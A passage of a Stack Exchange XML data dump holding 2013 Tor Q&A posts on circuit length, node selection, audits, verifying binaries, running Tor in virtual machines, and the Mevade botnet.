  <row Id="101" PostTypeId="2" ParentId="100" CreationDate="2013-09-26T11:17:12.350" Score="9" Body="&lt;p&gt;Tor can handle all &lt;a href=&quot;https://en.wikipedia.org/wiki/Transmission_control_protocol&quot; rel=&quot;nofollow noreferrer&quot;&gt;TCP-based&lt;/a&gt; connections. This is browsing, email, chats and others. The wiki has a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow noreferrer&quot;&gt;howto for torifying applications&lt;/a&gt;. This explains how you set up software so that it works with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general you should &lt;a href=&quot;https://tor.stackexchange.com/a/68/&quot;&gt;not use BitTorrent with Tor&lt;/a&gt;. Because on the one side it puts a high load on the Tor relays and the network will slow down for all users. On the other side BitTorrent makes it easier for an adversary to find out your real IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment Tor cannot work with &lt;a href=&quot;https://en.wikipedia.org/wiki/User_Datagram_Protocol&quot; rel=&quot;nofollow noreferrer&quot;&gt;UDP&lt;/a&gt;. Most Voice-over-IP solutions use this protocol. So you can't use Skype or other solutions yet.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-09-30T05:52:14.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="102" PostTypeId="1" AcceptedAnswerId="106" CreationDate="2013-09-26T11:34:32.790" Score="13" ViewCount="666" Body="&lt;p&gt;Was the Tor source code trustworthily audited by a third party to check if it does not contain a back-door?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are such audit results freely available?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="114" LastEditDate="2013-09-26T16:45:38.257" LastActivityDate="2015-05-02T14:18:32.630" Title="Are there trustworthy third-party audits of the Tor source code?" Tags="|security|source-code|back-door|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="103" PostTypeId="1" AcceptedAnswerId="104" CreationDate="2013-09-26T11:46:44.843" Score="18" ViewCount="14277" Body="&lt;p&gt;By default, Tor uses an onion-routing path with three hops: entry, relay (middle) and exit. Is it possible to configure (or, if necessary, recompile) Tor to use more than three hops? This would lessen the probability that all the hops would be under control of an attacker, right?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="100" LastEditDate="2014-06-29T08:04:02.280" LastActivityDate="2017-08-26T18:34:59.883" Title="Is it possible to make the Tor onion-routing path longer?" Tags="|relays|support|onion-routing|configuration|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="104" PostTypeId="2" ParentId="103" CreationDate="2013-09-26T12:05:28.923" Score="14" Body="&lt;p&gt;Yes, it is possible (through a source-code change), but it is a bad idea. If an attacker is observing (or controls) the first and last hop of your circuit they will very likely be able to de-anonymize you. Changing to four (or more) hop paths doesn't affect the probability of this occurring but it does slow down your Tor connection and increases the load on the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-09-26T12:05:28.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="105" PostTypeId="2" ParentId="103" CreationDate="2013-09-26T12:09:20.757" Score="14" Body="&lt;p&gt;Increasing the number of hops in a Tor circuit has various impacts : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Performance&lt;/em&gt; is decreased since the path is longer and latency is bigger. A bigger path is also less reliable and more failures will occur.&lt;/li&gt;&#xA;&lt;li&gt;The same goes for &lt;em&gt;Throughput&lt;/em&gt; of the circuit. Throughput is better when having three hops.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Anonymity&lt;/em&gt; is not enhanced as a matter of fact. Increasing the number of nodes you're using to establish a circuit, if we assume that total number of possible relays is fixed, increases the possibility of picking some node controlled by an adversary.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, all in all, increasing the number of hops will not profit you much and may harm your anonymity and performance. It's feasible but not advisable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the three hops circuits initially picked from the authors of Tor is the wise choice for anonymity and performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may read more on path selection strategies and related topics in this paper : &lt;a href=&quot;http://cseweb.ucsd.edu/users/pasquale/Papers/globecom10c.pdf&quot;&gt;http://cseweb.ucsd.edu/users/pasquale/Papers/globecom10c.pdf&lt;/a&gt; . Some graphs are also included.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-09-26T12:09:20.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="106" PostTypeId="2" ParentId="102" CreationDate="2013-09-26T12:46:13.020" Score="12" Body="&lt;p&gt;Third-party audits are most valuable for closed-source software where there is a restriction on who can look at the source code. In contrast, Tor is open-source so anyone can look at the source code and check for back-doors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of people have looked at the Tor source code, as can be seen from the number of researchers which have modified Tor and the number of bugs people have found by reading Tor's source. So far nobody has found anything which is close to being a back-door.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor also goes through scans by Coverity and Veracode, though these are more for looking for bugs rather than looking for back-doors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Backdoor&quot;&gt;assurance from the Tor developers&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There is absolutely no backdoor in Tor. Nobody has asked us to put one&#xA;  in, and we know some smart lawyers who say that it's unlikely that&#xA;  anybody will try to make us add one in our jurisdiction (U.S.). If&#xA;  they do ask us, we will fight them, and (the lawyers say) probably&#xA;  win.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any statements along the lines of &quot;I looked at all of the Tor source code and didn't find a back-door&quot;. However, many people have had an opportunity to search for back-doors and the incentive to complain loudly if they find anything suspicious. The fact that nobody has found a back-door is good (but not perfect) evidence that there are none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've said above is about back-doors in the source code, but having source code without back-doors isn't good enough unless you compile Tor yourself. The Tor Project has also been working on &lt;a href=&quot;https://blog.torproject.org/blog/deterministic-builds-part-one-cyberwar-and-global-compromise&quot;&gt;deterministic builds&lt;/a&gt;, allowing multiple people to verify that the binaries published by the Tor Project match the source code.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-09-26T12:46:13.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="107" PostTypeId="2" ParentId="97" CreationDate="2013-09-26T12:50:37.073" Score="21" Body="&lt;p&gt;There are several anonymity concerns when you use your main machine for communication. Running a separate secured OS will give you advantages when you use other software with Tor than just the Firefox in the &lt;em&gt;Tor Browser Bundle&lt;/em&gt; which is considerably secured. The separate secured OS can also help you against possible information leak vulnerabilities in Firefox.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your machine contains and collects information which could be used for your identification. Examples are: host name, IP address, state information and configuration of various applications. This should not be a problem if you use the &lt;em&gt;Tor Browser Bundle&lt;/em&gt; properly as in most cases it should not leak the information which is stored outside of the bundle package.&lt;/li&gt;&#xA;&lt;li&gt;Various versions (and default configuration) of your software including operating system can be possibly identified from your communication. It is advisable to use least possible customized software. The &lt;em&gt;Tor Browser Bundle&lt;/em&gt; already solves this for the included software (Tor, Firefox, Vidalia Bundle). To be more secure you should use a complete secured operating system with unified configuration so that you cannot be identified when versions of various parts of it get revealed. Example of such OS is &lt;a href=&quot;https://tails.boum.org/&quot;&gt;Tails&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;OS like &lt;em&gt;Tails&lt;/em&gt; makes information leaks less probable by not allowing clear-text communication. If it is possible it is transparently redirecting all traffic to the Tor network regardless of used applications and their possible vulnerabilities. Furthermore &lt;em&gt;Tails&lt;/em&gt; is able to separate unrelated traffic into different Tor circuits.&lt;/li&gt;&#xA;&lt;li&gt;By reverting the state of the OS after each use either by using a live OS without permanent data storage or a virtual machine with non-persistent storage you avoid long-term storage of the information which could lead to your identification.&lt;/li&gt;&#xA;&lt;li&gt;Various hardware information can leak through your communication. (display resolution, size of RAM...) When you use an unified OS running inside a virtual machine you can prevent discovering most of the hardware related information.&lt;/li&gt;&#xA;&lt;li&gt;By using a separate OS you lessen probability of leaking information from your Tor sessions in you open communication. (e.g. requests to the &lt;code&gt;.onion&lt;/code&gt; domain)&lt;/li&gt;&#xA;&lt;li&gt;You can safely control the communication from the virtual machine while your main OS is running.&lt;/li&gt;&#xA;&lt;li&gt;You can easily encrypt the virtual machine image and in case of emergency you can eventually destroy the encryption key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ideally when all the Tor users would use the same OS running in the same virtual machine on the same virtualization platform they can be almost indistinguishable each from the others.&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="159" LastEditDate="2013-10-02T17:53:04.087" LastActivityDate="2013-10-02T17:53:04.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="108" PostTypeId="1" AcceptedAnswerId="109" CreationDate="2013-09-26T13:20:51.153" Score="16" ViewCount="1552" Body="&lt;p&gt;If an attacker can observe the Tor user, and the website being visited, it is possible to correlate the traffic by looking at time and size distributions of the communication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Techniques such as random time delays, padding, fake cover traffic, and changing packet ordering may make this correlation harder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Tor perform any of these techniques? Are there analyses if such techniques would considerably help in maintaining anonymity?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="43" LastEditDate="2013-09-26T20:37:31.693" LastActivityDate="2015-10-22T08:28:21.857" Title="Does Tor insert random delays or perform packet re-ordering to make the discovery of the communication path harder?" Tags="|relays|onion-routing|deanonymization|circuit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="109" PostTypeId="2" ParentId="108" CreationDate="2013-09-26T13:51:28.213" Score="10" Body="&lt;p&gt;Tor uses fixed cell sizes. The &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot;&gt;design document&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traffic passes along these connections in fixed-size cells. Each cell is 512 bytes, and consists of a header and a payload.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Apart from that no further mixing or randomisation is used:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;No mixing, padding, or traffic shaping (yet):&lt;/strong&gt; Onion Routing originally called for batching and reordering cells as they arrived, assumed padding between ORs, and in later designs added padding between onion proxies (users) and ORs [27,41]. Tradeoffs between padding protection and cost were discussed, and traffic shaping algorithms were theorized [49] to provide good security without expensive padding, but no concrete padding scheme was suggested. Recent research &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot;&gt;1&lt;/a&gt; and deployment experience [4] suggest that this level of resource use is not practical or economical; and even full link padding is still vulnerable [33]. Thus, until we have a proven and convenient design for traffic shaping or low-latency mixing that improves anonymity against a realistic adversary, we leave these strategies out. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-09-26T13:51:28.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="110" PostTypeId="2" ParentId="100" CreationDate="2013-09-26T13:54:49.023" Score="16" Body="&lt;p&gt;Although Tor is made to handle any TCP traffic, the majority of applications are not designed with anonymity and/or privacy in mind. Thus, torifying an application can be tricky. You have to make sure that there is no leak i.e connections routed outside the Tor circuit. A pretty usual example is DNS leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use other applications apart from a browser, consider using &lt;a href=&quot;https://tails.boum.org/&quot;&gt;Tails Live Linux&lt;/a&gt; an operating system which is specifically designed with anonymity and privacy in mind. Tails routes every connection through the Tor network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails has a variety of application such as instant-messaging client, email client. Of course you won't find every single one of your favorites applications pre-installed in Tails but that's the trade-off between comfort and anonymity. &lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="88" LastEditDate="2013-09-29T21:11:49.423" LastActivityDate="2013-09-29T21:11:49.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="111" PostTypeId="1" AcceptedAnswerId="112" CreationDate="2013-09-26T14:10:11.630" Score="8" ViewCount="560" Body="&lt;p&gt;If I've download a Tor binary from an unofficial source is there a way to verify that the binaries haven't been tampered with?&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-12-31T19:35:57.073" LastActivityDate="2014-12-31T19:35:57.073" Title="How to detect tampering with Tor binaries downloaded from unofficial sources?" Tags="|binaries|verification|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="112" PostTypeId="2" ParentId="111" CreationDate="2013-09-26T14:12:56.473" Score="1" Body="&lt;p&gt;Recently, Tor's build process was rewritten to be deterministic (currently only available in alpha builds). This means that builds produce byte-for-byte identical binaries for each OS/architecture combination that the build targets regardless of what OS/architecture you're currently running on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this you will (eventually) be able to take a hash of the official binaries and make sure that it matches those provided by your distro (eg. &lt;code&gt;sha1sum tor&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on deterministic builds, see this &lt;a href=&quot;https://blog.torproject.org/blog/deterministic-builds-part-one-cyberwar-and-global-compromise&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-09-27T12:56:52.220" LastActivityDate="2013-09-27T12:56:52.220" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="113" PostTypeId="1" AcceptedAnswerId="114" CreationDate="2013-09-26T14:19:28.760" Score="28" ViewCount="13028" Body="&lt;p&gt;A Tor client initially contacts Directory Authorities to fetch the consensus (i.e. a file containing all relays of the Tor network at that time with details such as IP address, exit policy, public key etc.)  As soon as a Tor client gathers sufficient information about existing relays, it tries to build circuit paths. How does the Tor client choose which nodes to use for a circuit?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="174" LastEditDate="2013-09-30T12:14:49.753" LastActivityDate="2020-03-30T10:32:08.027" Title="How does a Tor client pick Tor nodes for circuit creation?" Tags="|circuit|client|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="114" PostTypeId="2" ParentId="113" CreationDate="2013-09-26T14:19:28.760" Score="15" Body="&lt;p&gt;Taken from &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=path-spec.txt&quot;&gt;Tor Path Specification document&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We choose the path for each new circuit before we build it. We choose&#xA;  the exit node first, followed by the other nodes in the circuit. All&#xA;  paths we generate obey the following constraints:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;We do not choose the same router twice for the same path.&lt;/li&gt;&#xA;  &lt;li&gt;We do not choose any router in the same family as another in the same path. (Two routers are in the same family if each one lists the&#xA;  other in the &quot;family&quot; entries of its descriptor.)&lt;/li&gt;&#xA;  &lt;li&gt;We do not choose more than one router in a given /16 subnet.&lt;/li&gt;&#xA;  &lt;li&gt;We don't choose any non-running or non-valid router unless we have been configured to do so. By default, we are configured to allow&#xA;  non-valid routers in &quot;middle&quot; and &quot;rendezvous&quot; positions.&lt;/li&gt;&#xA;  &lt;li&gt;The first node must be a Guard node.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Relay selection is not uniform but weighted by relay bandwidth. Faster relays have a higher probability of being picked than slower ones.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="88" LastEditDate="2013-09-30T20:26:43.197" LastActivityDate="2013-09-30T20:26:43.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="115" PostTypeId="1" AcceptedAnswerId="149" CreationDate="2013-09-26T14:27:08.487" Score="23" ViewCount="1267" Body="&lt;p&gt;If the botnet admin decides to transmit data, maybe he alone could bring down the whole Tor network. The NTor circuit-level handshake in Tor 0.2.4 solved some problems, but the botnet is still affecting the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any bolder options taken into consideration or being developed to fight against this massive botnet?&lt;/p&gt;&#xA;" OwnerUserId="63" LastEditorUserId="55" LastEditDate="2013-09-30T03:59:21.867" LastActivityDate="2018-06-16T22:17:22.387" Title="How to prevent the Mevade botnet from abusing the Tor network?" Tags="|botnet|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="116" PostTypeId="2" ParentId="96" CreationDate="2013-09-26T14:59:56.067" Score="5" Body="&lt;p&gt;The simplest (relative term) method of breaking onion routing is a correlation attack performed by a global adversary that controls a majority of nodes in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What that means is that somebody watching your entry and exit node can correlate requests coming in from your computer to their entry node at time &lt;code&gt;n&lt;/code&gt; and leaving their exit node at time &lt;code&gt;n1&lt;/code&gt; for repeated communications over time to say with a fair degree of confidence that the traffic coming form your IP is going to that server.&lt;/p&gt;&#xA;" OwnerUserId="21" LastActivityDate="2013-09-26T14:59:56.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="117" PostTypeId="2" ParentId="111" CreationDate="2013-09-26T15:00:06.663" Score="6" Body="&lt;p&gt;If you're using your distro's binaries to install Tor then you have to trust the package maintainer of your distro as you do with every other package of your operating system. If you don't trust maintainers and/or developers of your distro then I guess there is a bigger problem since that means you can't trust the operating system in which you run Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mind that Tor project suggests using its own repositories since most Linux distro's repositories have an outdated version of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're installing Tor from Tor project's repositories (e.g. &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/debian.html.en&lt;/a&gt; for Debian and Ubuntu machines) then you will also have to add and trust the GPG key which was used to sign the packages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is how can you trust that the GPG key mentioned in torproject.org is owned by Tor developers. One could say that as long as you trust the HTTPS connection and certificate of torproject.org you can trust that you're getting the correct GPG key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way GPG key trust is established is through the Web Of Trust. That means you have to check the key's signatures recursively and find a signature of a person you know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're sure it is the correct GPG signing key, then trust is passed to Tor developers, who we do trust (or not) from the beginning.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-09-26T18:07:52.973" LastActivityDate="2013-09-26T18:07:52.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="118" PostTypeId="2" ParentId="19" CreationDate="2013-09-26T15:42:25.637" Score="2" Body="&lt;h2&gt;Watching syscalls&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alternative to detecting unwanted traffic on a network level (by firewall or a packet sniffer like &lt;code&gt;tcpdump&lt;/code&gt;) is to watch system calls of the application. For example on Linux you can run the application under control of &lt;code&gt;strace&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strace -e trace=socket,getsockopt,setsockopt,getsockname,connect,bind,send,sendto,sendmsg,recv,recvfrom,recvmsg your_application&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The network traffic level has advantages that it does not depend on the operating system and kernel interventions to the communication. You see the real communication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system calls watching method has advantage that you are closer to what is happening inside the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other possibility is to watch library calls but unfortunately &lt;code&gt;ltrace&lt;/code&gt; on Linux does not make many library call parameters accessible.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-09-26T15:42:25.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="119" PostTypeId="2" ParentId="64" CreationDate="2013-09-26T16:06:08.857" Score="12" Body="&lt;p&gt;As Roger Dingledine wrote, &lt;strong&gt;please do not do it&lt;/strong&gt;.&#xA;He also described good alternatives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically some torrent clients allow to communicate over a socks proxy so they can be redirected to a Tor client acting as a socks proxy. In fact in many cases there could be a lot of information leakage as described in this paper: &lt;a href=&quot;http://hal.inria.fr/docs/00/47/15/56/PDF/TorBT.pdf&quot;&gt;Compromising Tor Anonymity&#xA;Exploiting P2P Information Leakage&lt;/a&gt; so the effort and discomfort caused to other users could be useless.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-09-26T16:06:08.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="120" PostTypeId="1" AcceptedAnswerId="147" CreationDate="2013-09-26T16:44:02.890" Score="2" ViewCount="71" Body="&lt;p&gt;Some applications can either leak sensitive information through the Tor channel or they can make communication outside of the Tor channel which could lead to identification of your computer in the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a list of applications which are known for such leaks?&lt;/li&gt;&#xA;&lt;li&gt;Is there a list of applications where such leaks were not observed?&lt;/li&gt;&#xA;&lt;li&gt;Is there an initiative trying to create and maintain such lists?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-09-27T01:04:13.203" Title="Is there a list of applications which are know to leak or not to leak information when using with Tor?" Tags="|proxy-leaks|verification|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="121" PostTypeId="2" ParentId="115" CreationDate="2013-09-26T17:15:22.660" Score="1" Body="&lt;p&gt;There isn't really a way to stop the botnet entirely. Due to the very nature of Tor making it hard to stop the internal traffic, or identify its source, there is very little that can be done without introducing larger protocol changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unaware of any efforts to investigate such changes.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-09-26T17:15:22.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="122" PostTypeId="2" ParentId="11" CreationDate="2013-09-26T18:05:47.743" Score="4" Body="&lt;p&gt;For non-technical audiences I like to use the oft-quoted (but still reasonably good) safe analogy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine you want to send a message to somone via a (randomly selected) courier, but you don't want the person on the other end to know the message came from you, and you don't want the courier to read the letter. You can put the letter in a locked briefcase and have the courier take that (assuming the person on the other end has the key already), but they can still tell the person that the letter came from you. But what if you put that briefcase in another locked briefcase, and that briefcase in another locked briefcase, and pass it between three couriers. The first courier will have the key to the outermost briefcase, the second to the secon briefcase, and the final one to the innermost briefcase. Each one gets their briefcase, unlocks it, passes the next briefcase onto the next courier, until the letter gets passed to the recepient. Now only the last courier can read the letter, and only the first courier sees your face. Of course, the first courier might still try to tell the second one who you are, but it probably won't trickle all the way to your recepient (it's much less likely that someone will be able to find and pay off all three of your randomly selected couriers than it is just one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People seem to get this okay, even if they know nothing about encryption, routing, computers, etc.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2013-09-26T18:05:47.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="123" PostTypeId="1" AcceptedAnswerId="127" CreationDate="2013-09-26T18:20:37.110" Score="40" ViewCount="50049" Body="&lt;p&gt;I have a working installation of Tor. I am able to both access hidden services and proxy my clear-net traffic through Tor. My main source of traffic so far has been HTTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how I can use Tor to access remote computers through the use of SSH. I would like answers for the major operating systems: Windows, Linux/Unix, Mac OS X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, can programs such as &lt;code&gt;rsync&lt;/code&gt; be made to use the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="137" LastEditorUserId="58" LastEditDate="2013-10-06T06:38:01.820" LastActivityDate="2023-07-02T21:11:36.017" Title="How can I anonymize my SSH traffic using the Tor network?" Tags="|ssh|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="124" PostTypeId="1" AcceptedAnswerId="126" CreationDate="2013-09-26T18:20:50.120" Score="12" ViewCount="1022" Body="&lt;p&gt;I have some dedicated servers which are not used at the moment. However this can change on a weekly basis. Would it be useful to the Tor network for me to configure them as relays during the times they are not used for other purposes? If so, should they be bridges or relays?&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="174" LastEditDate="2013-09-30T05:40:18.793" LastActivityDate="2013-10-11T14:47:58.877" Title="Are short-lived relays useful to the Tor network?" Tags="|relays|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="125" PostTypeId="2" ParentId="97" CreationDate="2013-09-26T18:25:05.230" Score="12" Body="&lt;p&gt;Some advantages and some concerns to point out, partly in reference to pabouk's answer:&lt;/p&gt;&#xA;&lt;h3&gt;Good Stuff&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When you run a Tor VM, chances are high that the VM software is based on some operating system other than Windows. Because Windows still has a huge market share, most publicly-known software vulnerabilities target Windows, and most man-hours spent researching security vulnerabilities are spent on Windows-based software, or Windows itself. The reason being, if an exploit is successful, it can impact a huge number of victims. If you find a vulnerability in FreeBSD, you might be able to exploit a few servers or a handful of browsers, but nothing on the scale of a Windows or Mac OS X bug. So just by using Linux or BSD, you are immediately reducing your attack surface by a large factor, simply because unresolved security bugs are simply not commonly found on these platforms, and when they are found, they are fixed expeditiously, in the open, and everyone can audit the fix to make sure it's correct.&lt;p&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can encounter some pretty nasty folks using Tor or participating in the Tor infrastructure. They &lt;strong&gt;will&lt;/strong&gt; try to exploit your browser to gain remote access, inject code, etc. If they &lt;em&gt;succeed&lt;/em&gt;, your chances of not having your personal data / identity stolen are greatly reduced if they compromise the virtual machine, versus your host computer. Virtual machines aren't &lt;em&gt;impossible&lt;/em&gt; to penetrate, but it creates another barrier that the attacker has to think about and get through. All major virtualization software is designed with security in mind, the goal being to make it very difficult or impossible to penetrate the host&amp;lt;-&amp;gt;VM barrier (although you can easily shoot yourself in the foot there with configuration settings or by using things like guest additions that allow you to read and write the host filesystem).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;Worrying Stuff&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It would be a bad thing if most or all Tor users ran the same virtual machine platform, with the same browser, operating system, versions, etc. Users, especially non-technical users, can be thought of like prey animals -- when they are threatened by a predator, the best way for them to deal with it is to scatter in all directions. That way the predator has to pick one or two of them to go after, but not even a very fast predator could catch all of the prey. Most of them will escape. If all our users are going in the same direction (using the same software configuration), a single successful attack will breach thousands or millions of systems. &lt;strong&gt;Diversity is key&lt;/strong&gt;. If a lot of other people are using Linux VMs to run Tor, a smart user will run FreeBSD. If FreeBSD becomes popular, run Solaris. If Solaris becomes popular, run GNU/Hurd! If GNU/Hurd becomes popular, &lt;strong&gt;STOP&lt;/strong&gt;; the FSF has won and we can all lay down our pitchforks and knives. ;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Non-technical users may be lulled into a false sense of security by learning that VMs provide a layer of protection. Furthermore, if we provide simple &amp;quot;click-wrap&amp;quot; installers for VMs for people to use, they may not understand the full security implications, and security updates would have to be automatically enabled, or else users could be running vulnerable software and not even know it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-09-26T18:25:05.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="126" PostTypeId="2" ParentId="124" CreationDate="2013-09-26T18:28:21.153" Score="12" Body="&lt;p&gt;The short answer is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Yes. All bandwidth is helpful.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The long answer is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sortof. At first your relay is more or less untrusted. For the first 3 days or so it is in the 'unmeasured' phase (roughly no use). If your relays are going to be up for less than 3 days, they probably don't do much good. On days 3–8 your load slowly ramps up; so it's probably okay to have a realy if it's going to be running for longer than 3 days. However, the load isn't fully utilized until after day 68+ (at which point you're a guard relay).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot;&gt;this blog post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;TL;DR — If your relays will be online for 4+ days you're probably doing some good; otherwise it's not worth your time.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-09-26T19:03:04.907" LastActivityDate="2013-09-26T19:03:04.907" CommentCount="2" 